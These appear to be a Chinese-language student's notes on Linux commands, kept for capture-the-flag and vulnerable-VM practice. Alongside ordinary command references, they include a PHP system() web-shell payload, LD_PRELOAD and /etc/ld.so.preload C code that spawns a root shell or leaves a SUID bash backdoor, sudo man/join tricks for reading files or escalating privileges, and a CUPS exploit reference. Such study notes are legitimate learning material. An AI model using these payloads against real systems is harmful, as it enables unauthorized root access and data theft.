nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

命令格式:

1
nl [选项]... [文件]...

命令参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-b  :指定行号指定的方式,主要有两种:

-b a :表示不论是否为空行,也同样列出行号 (类似 cat -n);

-b t :如果有空行,空的那一行不要列出行号 (默认值);

-n  :列出行号表示的方法,主要有三种:

-n ln :行号在萤幕的最左方显示;

-n rn :行号在自己栏位的最右方显示,且不加 0 ;

-n rz :行号在自己栏位的最右方显示,且加 0 ;

-w  :行号栏位的占用的位数。

-p 在逻辑定界符处不重新开始计算。

shell引号

在 shell 中,'"'"'(单引号 + 双引号 + 单引号 + 双引号 + 单引号)是一个技巧,用来在单引号包围的字符串中插入一个单引号。要理解何时使用它,需要掌握 shell 的引号规则:

  1. 单引号 (')

    • 单引号内的所有字符都被视为原样,不会进行变量替换或转义。
    • 不能在单引号内直接插入单引号,除非打破单引号的范围。
  2. 双引号 (")

    • 允许变量替换和命令替换($VAR$(command))。
    • 但不会解析 \(除非用于转义 $`")。

如果需要在一个单引号字符串内插入单引号(例如 system('cat fl*')),就必须在单引号外部打破它。例如:

1
2
3
'<?php system ('"'"'cat fl*'"'"');?>'
等效
'<?php system (' + "'" + 'cat fl*' + "'" + ');?>'

分解:

  • 第一部分 '<?php system (' → 以单引号开头
  • 第二部分 '"'"' → 插入单引号
    • '"' (结束单引号 + 开启双引号) → 进入双引号模式
    • "'" (双引号内输入单引号) → 由于双引号内的单引号有效,它可以作为 PHP 代码的一部分
    • '"' (关闭双引号 + 重新开启单引号) → 返回单引号模式
  • 第三部分 'cat fl*' → 继续单引号字符串
  • 第四部分 '"'"' → 再次插入单引号
  • 第五部分 ');?>' → 结束单引号字符串

~/.ssh/authorized_keys

~/.ssh/authorized_keys 是一个 公钥认证 文件,它存储的是 可以用于无密码 SSH 登录该账户的公钥

作用

当你尝试通过 SSH 登录到一个账户时(比如 ssh user@host),SSH 服务器会检查 ~/.ssh/authorized_keys 文件,如果其中包含与你的私钥匹配的公钥,就允许你登录,而 无需输入密码
~/.ssh/authorized_keys 支持在公钥前面指定 command= 选项,这样 每次有人使用该公钥登录时,就会自动执行指定的命令,而不会启动普通的 shell。

用私钥生成公钥

1
ssh-keygen -y -f id_rsa > authorized_keys

📌 说明

  • -y:从私钥中提取公钥
  • -f id_rsa:指定私钥文件
  • > authorized_keys:输出公钥到文件

/*逃逸

/*说明执行/后面的所有内容,那可以写../../../逃逸到有写入权限的目录。

tee

tee 是一个在类 Unix 系统中常用的命令,它用于从标准输入读取数据,并将其同时输出到标准输出和一个或多个文件中。这对于在不丢失数据的情况下同时查看和保存输出非常有用。

常见选项:

  • -a:追加到文件,而不是覆盖文件。
  • -i:忽略中断信号。
  • -p:在文件写入之前显示输出。

man

man(manual)是 Linux 和 Unix 系统中的 手册(Manual) 命令,主要用于查看 命令、库函数、配置文件等的文档
几乎所有 Linux 命令都有对应的 man 手册,格式 标准、结构清晰,是学习 Linux 的重要参考资料。
man 手册分为 多个章节,不同章节的条目可能有相同的名称,但内容不同:

章节 内容
1 用户命令(常见命令,如 lscdgrep
2 系统调用(如 open()read(),需要 #include
3 库函数(如 printf()malloc(),需要 #include
4 设备文件(如 /dev/null
5 配置文件格式(如 /etc/passwd
6 游戏和娱乐
7 杂项(如 man 7 regex 解释正则表达式)
8 管理员命令(如 iptables,需要 root 权限)

man 命令的常用选项

选项 作用
-f 查找命令属于哪个 man 章节(等同于 whatis
-k 关键字搜索手册(等同于 apropos
-P <pager> 指定分页器(默认 less
-a 显示所有匹配的手册
-l <file> 读取本地 man 手册
-w 仅显示手册路径,不打开
在有的题目中如果用man提权无法直接打开,要指定分页器
1
2
3
4
#报错信息
Your terminal lacks the ability to clear the screen or position the cursor.

sudo /bin/man -P /usr/bin/less man

$(())

这是shell中的计算符,里面跟上计算式 , 里面没有值就是0
~是取反,值等于+1再相反,比如-37的反就是36 , 有的题目过滤了数字,但是要拼出一个数字就用这种方法
比如

1
2
3
4
5
awk BEGIN{for(i=0;i<=36;i++){a=a"$((~$(())))"}print "$((~("a")))"}

echo $((~($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))

36

/usr/lib

在 Linux 系统中,/usr/lib 目录通常用于存放 系统和用户程序的库文件(shared libraries)

1. 共享库(Shared Libraries)

  • 例如:libc.so(C 标准库)、libssl.so(OpenSSL 加密库)等

2. 依赖库(Dependency Libraries)

  • 存放各种软件的依赖库,例如 Python、Perl、Node.js、Qt、GTK 相关的库
  • 例如:
    • /usr/lib/python3.9/ → Python 3.9 相关的库
    • /usr/lib/node_modules/ → Node.js 全局安装的模块

3. 插件(Plugins)

  • 某些软件的插件或模块也会放在 /usr/lib
  • 例如:
    • /usr/lib/firefox/ → Firefox 的插件
    • /usr/lib/vim/ → Vim 相关插件

4. 32 位与 64 位库

  • 在 64 位系统中:
    • /usr/lib/ 可能用于 32 位库(某些系统)
    • /usr/lib64/ 存放 64 位库

所以找python的一些库的函数就到/usr/lib/pythonx中找

lynx

lynx 是 Linux 下的一款基于终端的文本模式 Web 浏览器,它允许用户在没有图形界面的环境下访问网页。由于 lynx 只显示纯文本,它在服务器环境、远程管理(如 SSH)、无 GUI 的系统以及需要快速访问网页时非常有用。
而且还有file:// http:// ftp:// 等协议 可以查看本地文件

LD_PRELOAD

是 Linux 系统中的一个环境变量,用于在程序运行时动态加载指定的共享库。LD_PRELOAD 的作用是在程序运行前,将指定的共享库加载到程序的内存中。这样,程序在运行时会优先使用该共享库中的符号,而不是系统默认的符号。LD_PRELOAD 可以用于替换程序本身的函数,增加程序的功能或者调试程序。

LD_PRELOAD 的工作原理是,当程序需要调用某个符号时,系统会先在程序自身的符号表中查找,如果找不到,则会在 LD_PRELOAD 指定的共享库中查找。如果在 LD_PRELOAD 指定的共享库中找到了该符号,则使用该符号中的代码。

使用 LD_PRELOAD 可以实现一些特殊的功能,例如:

动态库劫持:可以用 LD_PRELOAD 来劫持程序中的函数,替换为自己编写的函数,实现一些特殊的功能。

程序调试:可以用 LD_PRELOAD 来替换程序中的函数,增加一些调试信息,例如,在程序中调用 printf 函数时,可以用 LD_PRELOAD 来替换为自己编写的函数,输出调试信息。

库版本控制:可以用 LD_PRELOAD 来强制程序使用指定版本的共享库,以避免程序在不同版本的环境中产生兼容性问题。
两种利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("id");
}

char *strcpy(char *dest, const char *src) { //需要搜索查看函数的原型
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4
5
6
7
8
9
#include <unistd.h>

static void before(void) __attribute__((constructor));

static void before(void)
{
unsetenv("LD_PRELOAD");
system("id");
}
1
gcc -shared -fPIC hacker.c -o hacker.so

 LD_PRELOAD 也能解析 jpg 后缀

/etc/ld.so.preload

 
该文件是 Linux 系统的全局配置文件,用于指定程序启动时强制优先加载的动态链接库(.so 文件)。与 LD_PRELOAD 环境变量不同,/etc/ld.so.preload 的影响是系统级的,会对所有用户和进程生效
该文件的行为类似于**LD_PRELOAD** ENV 变量,但也适用于 SUID 二进制文件
如果您可以创建它或修改它,则只需在每个执行的二进制文件中加载的库中添加路径即可。

例如: echo "/tmp/pe.so" > /etc/ld.so.preload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
//后门写法-只用一次 system("cp /bin/bash /tmp/sh ; chmod +s /tmp/sh; rm /etc/ld.so.preload")
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

接触到这个是在flower靶机里面,touch有suid,然后没有这个/etc/ld.so.preload文件,然后修改umask
用法就是在创建好这个/etc/ld.so.preload之后,在这个文件里面输入编译好的文件的位置,比如/tmp/a.so

telnet

Linux telnet 命令用于远端登入。

执行 telnet 指令开启终端机阶段作业,并登入远端主机。

用法

1
telnet [选项] <目标IP或主机名> [端口]

Telnet 客户端命常用命令:
  open : 使用 openhostname 可以建立到主机的 Telnet 连接。
  close : 使用命令 close 命令可以关闭现有的 Telnet 连接。
  display : 使用 display 命令可以查看 Telnet 客户端的当前设置。
  send : 使用 send 命令可以向 Telnet 服务器发送命令。支持以下命令:
  ao : 放弃输出命令。
  ayt : “Are you there” 命令。
  esc : 发送当前的转义字符。
  ip : 中断进程命令。
  synch : 执行 Telnet 同步操作。
  brk : 发送信号。
telnet 会话中,使用 Ctrl + ] 进入 telnet> 提示符,然后输入:

strace

strace 是 Linux 系统中用于动态跟踪用户空间进程与内核交互的工具,主要监控进程的系统调用信号传递进程状态变更。其底层通过内核的 ptrace 特性实现,是运维和开发人员诊断程序问题的利器

strace 跟踪流的输出内容

当使用 strace 跟踪进程时,其输出主要包含以下信息

  1. 系统调用名称:如 openreadwritecloseaccess 等。
  2. 调用参数:以符号或十六进制形式显示参数(如文件路径、标志位等)。
    • 示例:open("/etc/ld.so.preload", O_RDONLY) = 3,表示以只读方式打开该文件,返回文件描述符 3。
  3. 返回值:系统调用的结果状态。
    • 成功时返回具体值(如文件描述符、字节数);
    • 失败时返回 -1 并附带错误原因(如 ENOENT 表示文件不存在,EACCES 表示权限不足)。
  4. 耗时信息(若启用 -T 参数):显示系统调用的执行时间。
  5. 进程 / 线程标识(若启用 -f 参数):在多进程 / 线程场景下显示具体 PID 或 TID。
    • 示例:[pid 17654] open("test.log", O_WRONLY)

grep -Pi "open|access|no such file" 的过滤逻辑

用户通过此命令筛选 strace 输出中的关键信息,原因如下:

  1. 目标系统调用过滤
    • open:跟踪文件打开操作,常用于排查文件路径错误、权限问题或依赖缺失。
    • access:检查文件是否存在或可访问,用于定位权限配置错误(如 EACCES)或路径不存在(ENOENT

     

  2. 错误关键字过滤
    • no such file:匹配 ENOENT 错误,快速定位因文件 / 目录不存在导致的失败。
  3. 参数解释
    • -P:启用 Perl 兼容正则表达式(PCRE),支持更灵活的匹配语法。
    • -i:忽略大小写,确保匹配 No Such File 或 NO SUCH FILE 等变体
      这样子就是看调用了什么,第一次记录这个指令是在flower靶机中,touch有suid,然后追踪touch,发现没有/etc/ld.so.preload

核心功能

  • 跟踪系统调用:记录进程执行过程中调用的所有系统调用(如 openreadwrite 等),包括参数、返回值和耗时。
  • 信号监控:捕获进程接收和发送的信号(如 SIGKILL)。
  • 黑盒分析:当程序无日志或日志不清晰时,通过系统调用定位问题根源。

umask

Linux umask 命令指定在建立文件时预设的权限掩码。

umask 可用来设定 [权限掩码]。[权限掩码] 是由 3 个八进制的数字所组成,将现有的存取权限减掉权限掩码后,即可产生建立文件时预设的权限。

语法

1
umask: usage: umask [-p] [-S] [mode]

-p:打印当前 umask 值

-S:显示当前掩码

mode:设置为 umask 值
这个用在如果类似于touch这样创建文件的指令有suid的时候有用,因为普通的时候用户可以用chmod直接修改文件的权限,就没什么用
umask的权限修改方式和chmod是相反的,chmod是直接给权限,umask是用666减去权限,比如umask是022 那创建之后的权限就是644

bash

bash除了直接获得一个bash还有一些关键字和参数

Bash 脚本中的位置参数

脚本内通过 $0$1$2 等引用参数,特殊参数含义如下:

  1. $0:脚本文件名(包含路径) 
  2. $1$2、…:第 1、2 个参数,依次类推 
  3. $#:参数个数(不包含 $0) 
  4. $@ 与 $*:所有参数列表,区别在于 "$@" 为数组,"$*" 为单个字符串 
  5. $?:上一条命令的退出状态码(0 表示成功) 
  6. $$:当前进程的 PID 
    示例
1
./test.sh a b c # $0=./test.sh, $1=a, $2=b, $3=c, $#=3

交互模式和脚本模式

选项 作用
-i 交互模式(interactive mode),Bash 启动后会提供命令提示符。
-c "command" 运行单个命令后退出,如:bash -c 'echo Hello'
-s 让 Bash 从 标准输入 读取命令,如:`echo ‘echo hello’
--rcfile file 指定 自定义启动文件(而不是 ~/.bashrc)。

权限与安全

选项 作用
-p 保留特权模式(privileged mode),即不降低 SUID/SGID 权限。
--noprofile 不加载 ~/.bash_profile/etc/profile(适用于非交互式 shell)。
--norc 不加载 ~/.bashrc(适用于交互式 shell)。
--restricted / -r 受限模式(restricted mode),限制部分 Bash 功能(如 cd、环境变量修改等)。
所以通过某种方式得到了/bin/bash 并且已经chmod+s 之后就要用-p参数来用这个bash,保持这个bash原来的suid

xxd

xxd 是 Linux 下的十六进制转储工具,用于 将文件或数据转换为十六进制格式反向还原为二进制,适用于调试、数据分析和二进制编辑等场景

xxd 命令选项

选项 作用
-a 缺省忽略转换:使用 * 替换空行。
-b 以二进制格式转储数据(与 -ps-i-r 不兼容),默认为十六进制。
-c cols 每行显示多少列的八位字节(默认 16 列,-i 选项默认 12 列,-ps 选项默认 30 列)。
-E 使用 EBCDIC 字符集(默认使用 ASCII 字符集)。
-e 以小端模式转储数据(与 -ps-i-r 不兼容)。
-g 在正常输出模式下,每组包含的八位字节数(默认 2 个,-e 选项时默认 4 个)。
-h 显示帮助信息。
-i 以 C 语言数组的格式输出数据。
-l len len 个八位字节后停止转储。
-o off off 偏移量开始转储数据。
-ps postscript 格式输出,并在行尾添加十六进制转储内容。
-r 逆向操作:将十六进制内容转换(或修补)回二进制数据。
-r -s off off 偏移量处开始将十六进制内容转换回二进制数据。
-s [+][-]seek 指定 seek 偏移量来开始读取输入文件(+ 号表示相对偏移,- 号表示负偏移)。
-u 使用大写字母表示十六进制数据。
-v 显示 xxd 版本信息,如 "xxd V1.10 27oct98 by Juergen Weigert"
-p -r 一般够用

用/etc/shadow 和 /etc/passwd新建用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
步骤:新建的用户和组名是 liwu,UID:507,GID:505     // 用户名、组名、UID 和 GID 不可其他用户冲突

1,修改 /etc/passw
[root@as5 home]#echo "liwu:x:507:505::/home/liwu:/bin/bash">> /etc/passwd

2, 修改 /etc/shadow
[root@as5 home]#echo "liwu:!!:15917:0:99999:7:::">> /etc/shadow

3, 修改 /etc/group
[root@as5 home]#echo "liwu:x:505:">> /etc/group

4, 修改 /etc/gshadow
[root@as5 home]#echo "liwu:!::">> /etc/shadow

5, 建立 liwu 用户的家目录,修改家目录的权限和所有者
[root@as5 home]#mkdir ./liwu
[root@as5 home]#cp ./student/.*./liwu   // 从一个普通用户的家目录的隐藏文件拷贝到 liwu 用户的家目录
[root@as5 home]#chown -R liwu:liwu /liwu
[root@as5 home]#chmod -R 700 /liwu

6, 给 liwu 用户设置口令
[root@as5 home]#passswd liwu

7, 切换到 liwu 用户
[root@as5 home]#su - liwu
[liwu@as5 ~]$

至此添加用户就完成了

join

join 用于根据两个文件的共同字段合并行,类似于 SQL 的 JOIN 操作。文件需提前按共同字段排序,否则无法正确匹配

1
join [选项] 文件1 文件2

常见参数及示例**

参数 作用 示例代码
-t CHAR 指定字段分隔符(默认空格) join -t ',' file1.csv file2.csv
-a FILENUM 输出未匹配的行(1= 文件 1,2= 文件 2) join -a1 file1.txt file2.txt
-e STRING 将缺失字段替换为指定字符串 join -e "NULL" file1.txt file2.txt
-i 忽略字段大小写 join -i file1.txt file2.txt
-1 N 指定文件 1 的第 N 列为连接字段 join -1 2 file1.txt file2.txt
-2 N 指定文件 2 的第 N 列为连接字段 join -2 3 file1.txt file2.txt
-o FORMAT 自定义输出字段(格式:文件号.字段号 join -o 1.2,2.1 file1.txt file2.txt
-v FILENUM 仅输出未匹配的行(类似 -a 但更严格) join -v1 file1.txt file2.txt
所以可以用-a参数读取任意文件,因为-a是输出未匹配的行sudo /usr/bin/join -a 2 /dev/null $LFILE

631 ipp服务

OpenPrinting CUPS(通用 Unix 打印系统)是为类 Unix 操作系统开发的开源打印系统。它允许计算机充当打印服务器,高效管理本地和网络打印机。Cups-Browsed 是 CUPS 系统的一部分,是一个专门用于浏览网络上其他 CUPS 服务器共享的远程打印机的守护进程。它可以自动发现和配置网络打印机,让用户更容易访问和使用网络上共享的打印资源,无需手动设置。

在 Cups-Browsed 2.0.1 及之前的版本中,存在一个由 PPD(PostScript 打印机描述)文件中的 FoomaticRIPCommandLine 参数处理不当引起的问题。攻击者可以通过创建一个恶意的 IPP(互联网打印协议)服务器来利用这个漏洞,向易受攻击的 Cups-Browsed 实例发送精心制作的打印机信息,然后在运行易受攻击的 Cups-Browsed 的系统上执行任意命令。
漏洞编号是CVE-2024-41777
https://github.com/vulhub/evil-ipp-server

df -h

df -h 是 Linux 下用于查看磁盘空间使用情况的命令

1
2
3
4
$ df -h Filesystem Size Used Avail Use% Mounted on 
/dev/sda1 50G 20G 30G 40% /
tmpfs 3.9G 4.0K 3.9G 1% /dev/shm
/dev/sdb1 100G 60G 40G 60% /data

fdisk -l

fdisk -l 用于列出系统中所有磁盘及其分区信息,常用于查看磁盘分区表。
输出示例

1
2
3
4
5
6
7
8
9
10
11
12
Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: ABCD-1234

Device Start End Sectors Size Type
/dev/sda1 2048 2099199 2097152 1G EFI System
/dev/sda2 2099200 4196351 2097152 1G Linux swap
/dev/sda3 4196352 209715166 205518815 98G Linux filesystem

mount

mount 用于挂载文件系统,使其可以被访问。它可以将存储设备(如硬盘分区、U 盘、ISO 镜像等)挂载到 Linux 文件系统的某个目录下。
挂载本地磁盘分区

1
sudo mount /dev/sdb1 /mnt

注意:挂载前,请确保目录 /mnt 存在,否则需要先 mkdir /mnt 创建。
umount 卸载

用法 命令
查看挂载信息 mount
挂载磁盘 sudo mount /dev/sdb1 /mnt
挂载 ISO sudo mount -o loop image.iso /mnt
只读挂载 sudo mount -o ro /dev/sdb1 /mnt
卸载设备 sudo umount /mnt
强制卸载 sudo umount -f /mnt
配置开机自动挂载 /etc/fstab